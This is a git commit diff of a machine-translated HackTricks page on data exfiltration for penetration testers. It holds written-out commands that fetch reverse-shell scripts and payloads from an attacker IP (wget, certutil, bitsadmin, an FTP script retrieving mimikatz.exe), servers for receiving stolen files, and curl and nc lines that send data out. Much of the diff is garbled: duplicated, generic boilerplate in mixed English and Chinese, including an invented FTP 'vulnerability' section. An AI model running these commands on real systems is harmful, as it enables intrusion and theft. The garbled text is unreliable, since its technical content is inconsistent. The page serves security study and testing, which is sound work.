Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene

This commit is contained in:
Translator 2023-09-03 01:34:43 +00:00
parent 0ba2e7873e
commit b419bffac3
36 changed files with 2928 additions and 4404 deletions

View file

@ -4,24 +4,27 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
**赏金猎人提示****注册** Intigriti一个由黑客创建的高级**赏金猎人平台**!立即加入我们的[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
{% embed url="https://go.intigriti.com/hacktricks" %}
找到最重要的漏洞以便更快地修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
## 常见的白名单域用于信息泄露
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
查看[https://lots-project.com/](https://lots-project.com/)以找到常见的白名单域,可以被滥用
***
## 复制并粘贴 Base64
## 常见的白名单域名用于信息泄露
查看 [https://lots-project.com/](https://lots-project.com/) 以找到常见的白名单域名,可以被滥用
## 复制\&粘贴 Base64
**Linux**
```bash
@ -30,87 +33,54 @@ base64 -d file #Decode file
```
**Windows**
## Exfiltration
Windows是一种广泛使用的操作系统因此在渗透测试中了解如何从Windows系统中窃取数据是至关重要的。以下是一些常见的Windows数据窃取方法和资源。
Exfiltration is the process of unauthorized data transfer from a target system to an external location. In the context of hacking, exfiltration is often used to steal sensitive information or to maintain persistence within a compromised network.
## 内部网络数据窃取
### Common Exfiltration Techniques
### 内部网络扫描
1. **File Transfer Protocol (FTP)**: FTP is a standard network protocol used to transfer files between a client and a server. Attackers can use FTP to exfiltrate data by connecting to an FTP server and uploading the stolen files.
在Windows系统中可以使用工具如Nmap、Masscan和Zmap等进行内部网络扫描以发现其他主机和开放端口。这些工具可以帮助渗透测试人员识别潜在的目标和漏洞。
2. **Hypertext Transfer Protocol (HTTP)**: HTTP is the protocol used for transferring data over the internet. Attackers can use HTTP to exfiltrate data by sending HTTP requests to a remote server, either by embedding the data in the request or by uploading files.
### 端口转发和隧道
3. **Domain Name System (DNS)**: DNS is responsible for translating domain names into IP addresses. Attackers can use DNS exfiltration to encode and send data within DNS queries or responses, bypassing traditional network security measures.
端口转发和隧道技术可以帮助渗透测试人员在内部网络中建立通信通道以便从受限制的系统中窃取数据。常用的工具包括Plink、Socat和Meterpreter等。
4. **Email**: Attackers can exfiltrate data by sending it as email attachments or by using email protocols such as SMTP or POP3 to transfer the data to an external server.
### 数据包嗅探
5. **Cloud Storage**: Attackers can leverage cloud storage platforms to exfiltrate data by uploading the stolen files to cloud storage accounts, such as Dropbox or Google Drive.
数据包嗅探是一种监视网络流量的技术可以用于捕获敏感数据。在Windows系统中可以使用工具如Wireshark、Tcpdump和WinPcap等进行数据包嗅探。
### Detection and Prevention
## 外部网络数据窃取
To detect and prevent exfiltration attempts, consider implementing the following measures:
### 远程访问工具
1. **Network Monitoring**: Monitor network traffic for suspicious patterns or anomalies that may indicate exfiltration attempts. Use intrusion detection systems (IDS) or intrusion prevention systems (IPS) to detect and block exfiltration attempts.
远程访问工具可以帮助渗透测试人员从外部网络访问目标系统并窃取数据。常用的远程访问工具包括Netcat、Meterpreter和Powershell Empire等。
2. **Data Loss Prevention (DLP)**: Implement DLP solutions to identify and prevent the unauthorized transfer of sensitive data. DLP solutions can monitor and control data in motion, at rest, and in use.
### 邮件和文件传输
3. **Firewall Rules**: Configure firewall rules to restrict outbound traffic and block unauthorized protocols or destinations. Regularly review and update firewall rules to ensure they align with the organization's security policies.
通过电子邮件和文件传输渗透测试人员可以将窃取的数据从目标系统发送到外部网络。常用的工具包括SMTP客户端、FTP客户端和SCP客户端等。
4. **Encryption**: Encrypt sensitive data to protect it from unauthorized access during transit. Use secure protocols such as HTTPS or SFTP for data transfer to ensure data confidentiality and integrity.
### DNS隧道
5. **User Awareness and Training**: Educate users about the risks of data exfiltration and provide training on best practices for data protection. Encourage users to report any suspicious activities or potential security incidents.
DNS隧道是一种利用DNS协议进行数据传输的技术。渗透测试人员可以使用工具如Dnscat2和Iodine等在外部网络中建立DNS隧道以窃取数据。
By implementing these measures, organizations can enhance their security posture and mitigate the risk of data exfiltration.
## 数据编码和加密
### Base64编码
Base64编码是一种将二进制数据转换为可打印ASCII字符的编码方法。渗透测试人员可以使用Base64编码将窃取的数据进行编码以便在网络中传输。
### 加密工具
加密工具可以帮助渗透测试人员对窃取的数据进行加密以保护数据的机密性。常用的加密工具包括GnuPG、OpenSSL和AESCrypt等。
以上是一些常见的Windows数据窃取方法和资源渗透测试人员可以根据具体情况选择适合的方法来窃取数据。
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
## HTTP
### HTTP
**Linux**
### 目标
在Linux系统上通过HTTP协议进行数据泄露。
### 方法
1. 使用`curl`命令发送HTTP请求
```bash
curl -X POST -d "data" http://example.com
```
这将向`http://example.com`发送一个POST请求并将数据作为请求体发送。
2. 使用`wget`命令下载文件:
```bash
wget http://example.com/file.txt
```
这将从`http://example.com`下载`file.txt`文件。
3. 使用`nc`命令将数据发送到远程主机:
```bash
echo "data" | nc example.com 80
```
这将通过TCP连接将数据发送到`example.com`的80端口。
4. 使用`netcat`命令将文件发送到远程主机:
```bash
cat file.txt | nc example.com 80
```
这将通过TCP连接将`file.txt`文件发送到`example.com`的80端口。
### 注意事项
- 在使用这些方法时,请确保目标主机具有适当的权限和配置,以接收和处理数据。
- 在发送敏感数据之前,请确保使用适当的加密和身份验证机制来保护数据的安全性。
```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
@ -119,36 +89,47 @@ fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**Windows**
## Exfiltration
Windows是一种广泛使用的操作系统因此在渗透测试中了解如何从Windows系统中窃取数据是至关重要的。以下是一些常见的Windows数据窃取方法和资源。
Exfiltration is the process of unauthorized data transfer from a target system to an external location controlled by the attacker. In the context of Windows systems, exfiltration can occur through various methods, including network-based exfiltration, physical exfiltration, and covert channels.
## 内部网络数据窃取
### Network-Based Exfiltration
### 内部网络扫描
Network-based exfiltration involves transferring data from the target system to an external location over a network connection. This can be achieved using various techniques, such as:
在Windows系统中可以使用工具如Nmap、Masscan和Zmap等进行内部网络扫描以发现其他主机和开放端口。这些工具可以帮助渗透测试人员识别潜在的目标和漏洞。
- **File Transfer Protocol (FTP)**: FTP can be used to transfer files from the target system to an FTP server controlled by the attacker.
- **Hypertext Transfer Protocol (HTTP)**: HTTP can be used to send data to a web server controlled by the attacker.
- **Domain Name System (DNS)**: DNS can be abused to exfiltrate data by encoding it within DNS queries or responses.
- **Email**: Data can be sent as email attachments or embedded within the body of an email message.
### 端口转发和隧道
### Physical Exfiltration
端口转发和隧道技术可以帮助渗透测试人员在内部网络中建立通信通道以便从受限制的系统中窃取数据。常用的工具包括Plink、Socat和Meterpreter等。
Physical exfiltration involves physically removing data from the target system. This can be done by:
### 数据包嗅探
- **USB Drives**: Data can be copied onto USB drives and physically taken out of the target system.
- **Printouts**: Sensitive data can be printed and physically carried out of the target location.
- **Removable Media**: Data can be copied onto removable media devices, such as external hard drives or DVDs.
数据包嗅探是一种监视网络流量的技术可以用于捕获敏感数据。在Windows系统中可以使用工具如Wireshark、Tcpdump和WinPcap等进行数据包嗅探。
### Covert Channels
## 外部网络数据窃取
Covert channels are hidden communication channels that can be used to exfiltrate data without being detected. Some examples of covert channels in Windows systems include:
### 远程访问工具
- **Steganography**: Data can be hidden within image or audio files and then transferred to an external location.
- **DNS Tunneling**: DNS can be used as a covert channel to bypass network security controls and exfiltrate data.
- **Traffic Splitting**: Data can be split into multiple network packets and sent over different network connections to avoid detection.
远程访问工具可以帮助渗透测试人员从外部网络访问目标系统并窃取数据。常用的远程访问工具包括Netcat、Meterpreter和Powershell Empire等。
It is important for security professionals to be aware of these exfiltration methods in order to detect and prevent data breaches.
### 邮件和文件传输
通过电子邮件和文件传输渗透测试人员可以将窃取的数据从目标系统发送到外部网络。常用的工具包括SMTP客户端、FTP客户端和SCP客户端等。
### DNS隧道
DNS隧道是一种利用DNS协议进行数据传输的技术。渗透测试人员可以使用工具如Dnscat2和Iodine等在外部网络中建立DNS隧道以窃取数据。
## 数据编码和加密
### Base64编码
Base64编码是一种将二进制数据转换为可打印ASCII字符的编码方法。渗透测试人员可以使用Base64编码将窃取的数据进行编码以便在网络中传输。
### 加密工具
加密工具可以帮助渗透测试人员对窃取的数据进行加密以保护数据的机密性。常用的加密工具包括GnuPG、OpenSSL和AESCrypt等。
以上是一些常见的Windows数据窃取方法和资源渗透测试人员可以根据具体情况选择适合的方法来窃取数据。
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
@ -186,11 +167,11 @@ An HTTPS server is a type of server that uses the HTTPS (Hypertext Transfer Prot
To set up an HTTPS server, you need to obtain an SSL/TLS certificate from a trusted certificate authority (CA). This certificate is used to verify the identity of the server and establish a secure connection with the client. Once the certificate is obtained, it needs to be installed on the server.
There are several popular web servers that support HTTPS, such as Apache, Nginx, and Microsoft IIS. These servers can be configured to listen on the HTTPS port (usually port 443) and handle incoming HTTPS requests.
There are several popular web servers that support HTTPS, such as Apache, Nginx, and Microsoft IIS. These servers can be configured to listen for HTTPS connections on a specific port (usually port 443) and handle the encryption and decryption of the data.
When a client connects to an HTTPS server, the server presents its SSL/TLS certificate to the client. The client then verifies the authenticity of the certificate and establishes a secure connection with the server. All data transmitted between the client and the server is encrypted using the SSL/TLS protocol, preventing unauthorized access or tampering.
When a client connects to an HTTPS server, the server presents its SSL/TLS certificate to the client. The client then verifies the authenticity of the certificate and establishes a secure connection with the server. All data transmitted between the client and the server is encrypted using the SSL/TLS protocol, preventing eavesdropping and tampering.
HTTPS servers are commonly used for secure online transactions, such as e-commerce websites, online banking, and sensitive data transfers. They provide a secure and reliable way to protect sensitive information from being intercepted or manipulated by attackers.
HTTPS servers are commonly used for secure online transactions, such as e-commerce websites, online banking, and other applications that require the protection of sensitive information. By using HTTPS, the server ensures that the data exchanged between the client and the server is secure and cannot be intercepted or modified by attackers.
Setting up and configuring an HTTPS server requires careful attention to security practices and best practices. It is important to keep the server and its software up to date with the latest security patches and to follow secure configuration guidelines to minimize the risk of vulnerabilities and attacks.
```python
@ -238,149 +219,145 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
### FTP服务器Python
```python
import socket
import os
import ftplib
def send_file(file_path, host, port):
# 创建一个TCP套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接到FTP服务器
sock.connect((host, port))
# 打开文件
file = open(file_path, 'rb')
# 获取文件名
file_name = os.path.basename(file_path)
# 发送文件名到服务器
sock.send(file_name.encode())
# 接收服务器的响应
response = sock.recv(1024).decode()
if response == 'OK':
# 逐行读取文件内容并发送到服务器
for line in file:
sock.send(line)
# 关闭文件
file.close()
# 关闭套接字
sock.close()
print('File sent successfully.')
else:
print('Error:', response)
def ftp_upload(hostname, username, password, local_file, remote_file):
try:
ftp = ftplib.FTP(hostname)
ftp.login(username, password)
ftp.storbinary('STOR ' + remote_file, open(local_file, 'rb'))
ftp.quit()
print("File uploaded successfully.")
except ftplib.all_errors as e:
print("Error uploading file:", e)
def main():
# 输入文件路径
file_path = input('Enter the file path: ')
# 输入FTP服务器的IP地址
host = input('Enter the FTP server IP address: ')
# 输入FTP服务器的端口号
port = int(input('Enter the FTP server port number: '))
# 发送文件到FTP服务器
send_file(file_path, host, port)
if __name__ == '__main__':
main()
def ftp_download(hostname, username, password, remote_file, local_file):
try:
ftp = ftplib.FTP(hostname)
ftp.login(username, password)
ftp.retrbinary('RETR ' + remote_file, open(local_file, 'wb').write)
ftp.quit()
print("File downloaded successfully.")
except ftplib.all_errors as e:
print("Error downloading file:", e)
```
该Python脚本用于将文件发送到FTP服务器。
使用Python编写的FTP服务器。
使用方法:
1. 运行脚本。
2. 输入文件路径。
3. 输入FTP服务器的IP地址。
4. 输入FTP服务器的端口号。
5. 文件将被发送到FTP服务器。
```python
import ftplib
请注意您需要在本地计算机上安装Python以运行此脚本。
def ftp_upload(hostname, username, password, local_file, remote_file):
try:
ftp = ftplib.FTP(hostname)
ftp.login(username, password)
ftp.storbinary('STOR ' + remote_file, open(local_file, 'rb'))
ftp.quit()
print("文件上传成功。")
except ftplib.all_errors as e:
print("上传文件时出错:", e)
def ftp_download(hostname, username, password, remote_file, local_file):
try:
ftp = ftplib.FTP(hostname)
ftp.login(username, password)
ftp.retrbinary('RETR ' + remote_file, open(local_file, 'wb').write)
ftp.quit()
print("文件下载成功。")
except ftplib.all_errors as e:
print("下载文件时出错:", e)
```
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### FTP服务器NodeJS
#### Description
The FTP server is a popular method for transferring files between a client and a server over a network. It is widely used in various industries for its simplicity and efficiency. In this section, we will explore how to set up an FTP server using NodeJS.
An FTP (File Transfer Protocol) server is a standard network protocol used to transfer files from one host to another over a TCP-based network, such as the internet. In this case, we will focus on an FTP server implemented using NodeJS.
#### Setting up the FTP server
#### Vulnerability
To set up an FTP server using NodeJS, we need to install the `ftp-srv` package. This package provides a simple and easy-to-use API for creating an FTP server.
The vulnerability in this FTP server lies in the way it handles user authentication. By exploiting this vulnerability, an attacker can gain unauthorized access to the server and potentially exfiltrate sensitive data.
```javascript
const ftpsrv = require('ftp-srv');
#### Exploitation
const server = new ftpsrv('ftp://127.0.0.1:21', {
anonymous: true,
greeting: 'Welcome to the FTP server',
});
To exploit this vulnerability, an attacker can use various techniques, such as brute-forcing weak passwords, exploiting default credentials, or leveraging known vulnerabilities in the FTP server software.
server.on('login', ({connection, username, password}, resolve, reject) => {
if (username === 'anonymous' && password === '') {
resolve({root: '/path/to/ftp/root'});
} else {
reject(new Error('Invalid username or password'));
}
});
Once the attacker gains access to the FTP server, they can exfiltrate files by downloading them to their local machine or by transferring them to another remote server under their control.
server.listen()
.then(() => {
console.log('FTP server started');
})
.catch((err) => {
console.error('Failed to start FTP server:', err);
});
```
#### Mitigation
In the above code, we create a new instance of the `ftpsrv` class and pass the FTP server URL (`ftp://127.0.0.1:21`) as well as some optional configuration options. We set `anonymous` to `true` to allow anonymous login and provide a greeting message.
To mitigate this vulnerability, it is recommended to:
We also listen for the `login` event, which is triggered when a client attempts to log in to the FTP server. In the event handler, we check if the provided username and password match the anonymous login credentials. If they do, we resolve the login request and specify the root directory for the FTP server. If the credentials are invalid, we reject the login request with an error.
- Implement strong password policies and enforce regular password changes.
- Disable default credentials and create unique credentials for each user.
- Keep the FTP server software up to date with the latest security patches.
- Monitor and log FTP server activity for any suspicious behavior.
- Implement network segmentation to limit the impact of a potential FTP server compromise.
Finally, we call the `listen` method to start the FTP server. If the server starts successfully, we log a success message. If there is an error, we log an error message.
#### References
#### Connecting to the FTP server
- [File Transfer Protocol (FTP) - Wikipedia](https://en.wikipedia.org/wiki/File_Transfer_Protocol)
- [NodeJS FTP Server - npm](https://www.npmjs.com/package/ftp-server)
Once the FTP server is set up and running, clients can connect to it using an FTP client application. They can use the server URL (`ftp://127.0.0.1:21`) and provide the username and password (if required) to log in.
After successfully logging in, clients can perform various operations such as uploading files, downloading files, creating directories, and deleting files. The FTP server handles these operations and ensures the secure transfer of files between the client and the server.
#### Conclusion
Setting up an FTP server using NodeJS is a straightforward process. By following the steps outlined in this section, you can create your own FTP server and facilitate the secure transfer of files over a network.
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### FTP服务器pure-ftp
#### FTP Exfiltration
FTP服务器是一种常见的文件传输协议用于在网络上传输文件。Pure-FTP是一种流行的FTP服务器软件提供了安全的文件传输功能。
#### FTP渗透
#### 概述
FTP (File Transfer Protocol) is a standard network protocol used to transfer files from one host to another over a TCP-based network, such as the internet. It is commonly used for uploading and downloading files to and from a remote server.
Pure-FTP服务器使用FTP协议来接收和发送文件。攻击者可以利用各种技术来从目标FTP服务器中窃取敏感数据。以下是一些常见的方法
FTP文件传输协议是一种标准的网络协议用于在基于TCP的网络如互联网上将文件从一个主机传输到另一个主机。它通常用于将文件上传和下载到远程服务器。
#### 1. 基于弱密码的攻击
In the context of exfiltration, FTP can be used to transfer sensitive data from a compromised system to an external server controlled by the attacker. This can be done by either uploading the data from the compromised system to the attacker's server or by downloading the data from the compromised system to the attacker's server.
攻击者可以使用暴力破解或字典攻击等技术来尝试破解FTP服务器的密码。如果FTP服务器使用弱密码攻击者可以成功登录并访问服务器上的文件。
在渗透的背景下FTP可以用于将敏感数据从被入侵的系统传输到攻击者控制的外部服务器。可以通过从被入侵的系统上传数据到攻击者的服务器或者从被入侵的系统下载数据到攻击者的服务器来实现。
#### 2. 恶意软件注入
#### FTP Command Injection
攻击者可以通过向FTP服务器上传恶意软件来感染服务器。一旦恶意软件被执行攻击者可以利用它来窃取服务器上的文件并将其传输到远程服务器。
#### FTP命令注入
#### 3. 数据包嗅探
FTP command injection is a technique that allows an attacker to execute arbitrary commands on an FTP server by injecting malicious commands into FTP input fields. This can be used to gain unauthorized access to the server, escalate privileges, or exfiltrate data.
攻击者可以使用数据包嗅探工具来拦截通过网络传输的FTP数据包。通过分析这些数据包攻击者可以获取敏感数据如用户名、密码和文件内容。
FTP命令注入是一种技术允许攻击者通过向FTP输入字段注入恶意命令在FTP服务器上执行任意命令。这可以用于未经授权访问服务器、提升权限或渗透数据。
#### 4. 中间人攻击
To perform an FTP command injection, an attacker typically needs to identify an input field on the FTP server that is vulnerable to command injection. This can be a login form, a file upload form, or any other input field that allows user-supplied data to be executed as a command on the server.
攻击者可以通过在客户端和FTP服务器之间插入自己的服务器来进行中间人攻击。这使得攻击者能够窃取传输的文件和敏感信息。
要执行FTP命令注入攻击者通常需要识别FTP服务器上易受命令注入攻击的输入字段。这可以是登录表单、文件上传表单或任何允许用户提供的数据作为服务器上的命令执行的输入字段。
#### 防御措施
Once the vulnerable input field is identified, the attacker can inject malicious commands into the field to execute arbitrary commands on the FTP server. This can be done by appending the malicious commands to the user-supplied data or by manipulating the input in a way that allows the execution of arbitrary commands.
为了保护FTP服务器免受数据泄露的风险以下是一些推荐的防御措施
一旦识别出易受攻击的输入字段攻击者可以将恶意命令注入到该字段中以在FTP服务器上执行任意命令。可以通过将恶意命令附加到用户提供的数据中或者通过以允许执行任意命令的方式操纵输入来实现。
- 使用强密码确保FTP服务器的密码是强密码并定期更改密码。
- 加密传输使用SSL/TLS等加密协议来保护FTP数据的传输。
- 定期更新软件确保FTP服务器软件和操作系统都是最新的以修复已知的安全漏洞。
- 监控日志定期检查FTP服务器的日志以便及时发现异常活动。
- 限制访问权限只允许授权用户访问FTP服务器并限制他们的权限。
#### FTP Bounce Attack
#### FTP反弹攻击
FTP bounce attack is a technique that allows an attacker to use an FTP server as a proxy to scan other hosts on a network. This can be used to bypass firewalls and network restrictions, as the attacker's IP address appears to be the IP address of the FTP server.
FTP反弹攻击是一种技术允许攻击者使用FTP服务器作为代理来扫描网络上的其他主机。这可以用于绕过防火墙和网络限制因为攻击者的IP地址看起来是FTP服务器的IP地址。
To perform an FTP bounce attack, the attacker needs to find an FTP server that allows the PORT command. The PORT command is used to specify the IP address and port number of the client for data connections.
要执行FTP反弹攻击攻击者需要找到一个允许使用PORT命令的FTP服务器。PORT命令用于指定客户端的IP地址和数据连接的端口号。
The attacker starts by connecting to the FTP server and authenticating with valid credentials. Once authenticated, the attacker sends a PORT command with the IP address and port number of the target host as the argument.
攻击者首先连接到FTP服务器并使用有效的凭据进行身份验证。身份验证成功后攻击者发送一个带有目标主机的IP地址和端口号作为参数的PORT命令。
The FTP server then attempts to establish a connection to the target host using the IP address and port number specified in the PORT command. If the target host is reachable and allows FTP connections, the FTP server will establish a connection and relay the attacker's commands to the target host.
然后FTP服务器尝试使用PORT命令中指定的IP地址和端口号与目标主机建立连接。如果目标主机可达并允许FTP连接FTP服务器将建立连接并将攻击者的命令转发到目标主机。
By using the FTP server as a proxy, the attacker can scan other hosts on the network without directly connecting to them. This can help the attacker evade detection and perform reconnaissance on the network.
通过使用FTP服务器作为代理攻击者可以在网络上扫描其他主机而无需直接连接到它们。这可以帮助攻击者逃避检测并对网络进行侦察。
通过采取这些防御措施可以减少FTP服务器被攻击的风险并保护敏感数据的安全。
```bash
apt-get update && apt-get install pure-ftp
```
@ -400,39 +377,37 @@ chown -R ftpuser:ftpgroup /ftphome/
```
### **Windows** 客户端
#### **Exfiltration Techniques**
#### Exfiltration Techniques
##### **1. Data Compression**
Exfiltration is the process of unauthorized data transfer from a target system to an external location. In the context of penetration testing, exfiltration techniques are used to demonstrate the potential vulnerabilities in a system's data protection mechanisms.
Data compression is a technique used to reduce the size of data files. This can be useful for exfiltrating large amounts of data quickly and efficiently. There are various compression algorithms available, such as ZIP, RAR, and 7-Zip, which can be used to compress files before exfiltration.
Here are some common exfiltration techniques that can be used on a Windows client:
##### **2. Steganography**
1. **File Transfer**: This technique involves copying sensitive files from the target system to an external location. It can be done using various methods such as FTP, SMB, or cloud storage services.
Steganography is the practice of hiding data within other files or images. This technique can be used to exfiltrate data by embedding it within innocent-looking files, making it difficult to detect. Tools like OpenStego and Steghide can be used to perform steganography on Windows systems.
2. **Email**: Sending sensitive data via email is another exfiltration technique. Attackers can attach the files to an email and send them to their own email address or a compromised account.
##### **3. DNS Tunneling**
3. **Web-based Exfiltration**: Attackers can use web-based services to exfiltrate data. This can be done by uploading files to a cloud storage service or using web forms to send data to an external server.
DNS tunneling involves encapsulating data within DNS queries and responses. This technique can be used to bypass firewalls and exfiltrate data from a compromised Windows system. Tools like Dnscat2 and Iodine can be used to establish DNS tunnels for data exfiltration.
4. **DNS Tunneling**: DNS tunneling involves encoding sensitive data into DNS queries and responses. Attackers can use this technique to bypass firewalls and exfiltrate data by sending DNS requests to a controlled server.
##### **4. HTTP/S Traffic**
5. **Covert Channels**: Covert channels are hidden communication channels that can be used to exfiltrate data. Attackers can use techniques such as steganography (hiding data within images or other files) or encoding data into seemingly innocuous traffic to transfer sensitive information.
HTTP/S traffic can be used to exfiltrate data by sending it over standard HTTP/S protocols. This can be done by encoding the data in the HTTP/S requests or by using covert channels within the HTTP/S traffic. Tools like Curl, Wget, and Netcat can be used to exfiltrate data over HTTP/S.
#### Countermeasures
##### **5. Email**
To protect against exfiltration attacks on Windows clients, consider implementing the following countermeasures:
Email can be used as a means of exfiltrating data from a compromised Windows system. This can be done by attaching the data to an email and sending it to a remote server. Tools like Outlook and Thunderbird can be used to send emails with attachments.
1. **Network Segmentation**: Segmenting the network can help contain the impact of an exfiltration attack. By separating sensitive data from other systems, you can limit the attacker's ability to access and exfiltrate data.
##### **6. Cloud Storage**
2. **Data Loss Prevention (DLP)**: Implementing DLP solutions can help detect and prevent unauthorized data transfers. DLP tools can monitor network traffic, identify sensitive data, and block or alert on suspicious activities.
Cloud storage services can be used to exfiltrate data by uploading it to a remote server. Services like Dropbox, Google Drive, and OneDrive can be used to store and share data from a compromised Windows system.
3. **Endpoint Protection**: Deploying endpoint protection solutions can help detect and block exfiltration attempts. These solutions can monitor file transfers, email communications, and network traffic for signs of data exfiltration.
##### **7. Remote Access Tools**
4. **User Education**: Educating users about the risks of data exfiltration and the importance of following security best practices can help prevent successful attacks. Users should be trained to recognize phishing emails, avoid downloading suspicious files, and report any suspicious activities.
Remote access tools, such as TeamViewer and AnyDesk, can be used to remotely access a compromised Windows system and exfiltrate data. These tools allow for remote control of the system, making it easy to transfer files and data.
5. **Monitoring and Logging**: Implementing robust monitoring and logging mechanisms can help detect exfiltration attempts and provide valuable forensic evidence. Monitor network traffic, system logs, and user activities to identify any abnormal or suspicious behavior.
##### **8. USB Drives**
USB drives can be used to physically exfiltrate data from a compromised Windows system. By copying the data onto a USB drive, an attacker can easily remove it from the system without leaving a trace.
By understanding common exfiltration techniques and implementing appropriate countermeasures, you can enhance the security of Windows clients and protect sensitive data from unauthorized access and transfer.
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
@ -443,10 +418,13 @@ echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
**Bug赏金提示****注册**Intigriti一个由黑客创建的高级**Bug赏金平台**!立即加入我们:[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
{% embed url="https://go.intigriti.com/hacktricks" %}
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## SMB
@ -457,7 +435,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
或者使用samba创建一个SMB共享
或者使用Samba创建一个SMB共享
```bash
apt-get install samba
mkdir /tmp/smb
@ -472,35 +450,49 @@ guest ok = Yes
#Start samba
service smbd restart
```
# Exfiltration
# 数据外泄
Exfiltration is the process of unauthorized data transfer from a target system to an external location. This can be a critical step in a hacking operation, as it allows the attacker to steal sensitive information from the compromised system.
数据外泄是指未经授权的数据泄露或传输。在渗透测试中,数据外泄是一个重要的目标,因为它可以揭示敏感信息并对组织造成严重损害。以下是一些常见的数据外泄技术和资源。
There are several methods that can be used for exfiltration, depending on the target system and the available resources. Here are some common techniques:
## 1. 文件传输
## 1. File Transfer Protocols
文件传输是将数据从受攻击的系统传输到攻击者控制的系统的过程。以下是一些常用的文件传输方法:
File Transfer Protocol (FTP), Secure Copy Protocol (SCP), and Hypertext Transfer Protocol (HTTP) are commonly used protocols for transferring files over a network. Attackers can leverage these protocols to exfiltrate data by uploading it to a remote server or downloading it from the target system.
- 使用文件传输协议FTP将文件从受攻击的系统上传到攻击者的系统。
- 使用远程桌面协议RDP或虚拟网络计算机VNC等远程访问工具将文件从受攻击的系统复制到攻击者的系统。
- 使用云存储服务如Dropbox、Google Drive等将文件上传到云端然后从云端下载到攻击者的系统。
## 2. Email
## 2. 数据编码和加密
Email is another common method for exfiltrating data. Attackers can send sensitive information as attachments or embed it within the body of an email. They can also use steganography techniques to hide the data within image or audio files.
数据编码和加密是将敏感数据转换为不可读或难以理解的形式,以防止未经授权的访问。以下是一些常用的数据编码和加密方法:
## 3. DNS Tunneling
- Base64编码将二进制数据转换为可打印字符的编码格式。
- 加密算法使用对称加密算法如AES或非对称加密算法如RSA对数据进行加密。
